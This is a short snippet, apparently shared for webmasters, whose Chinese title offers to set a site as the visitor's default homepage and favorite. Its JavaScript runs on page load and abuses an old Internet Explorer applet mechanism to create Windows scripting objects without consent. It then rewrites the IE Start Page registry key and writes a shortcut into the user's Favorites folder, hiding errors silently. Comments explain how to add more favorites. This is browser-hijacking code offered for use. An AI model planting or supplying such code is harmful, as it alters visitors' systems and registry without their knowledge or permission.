将网址加为默认首页和收藏夹
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
 var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
 Shor.TargetPath = SiteURL;
 Shor.Save();
}
//end add favorites or links functionfunction f(){
 try
 {
  //ActiveX initialization
  a1=document.applets[0];
  a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
  a1.createInstance();
  Shl = a1.GetObject();
  a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
  a1.createInstance();
  FSO = a1.GetObject();
  a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
  a1.createInstance();
  Net = a1.GetObject();  try
  {
   if (document.cookie.indexOf("Chg") == -1) 
   {
    //set cookie
    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    //end set cookie       //set home page
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.???.net/");
    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    //end set home page    //add favorites this is the common part; should be here if you want to add favorites
    var WF, Shor, loc;
    WF = FSO.GetSpecialFolder(0);
    loc = WF + "\\Favorites";
    if(!FSO.FolderExists(loc))
    {
     loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
     if(!FSO.FolderExists(loc))
     {
      return;
     }
    }
    //end common part    //the following line is used for adding favorites.
    //to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
    AddFavLnk(loc, "网站", "http://www.???.net");
    //end add favorites
   }
  }
  catch(e)
  {}
 }
 catch(e)
 {}
}function init()
{
 setTimeout("f()", 0);
}init();
</script>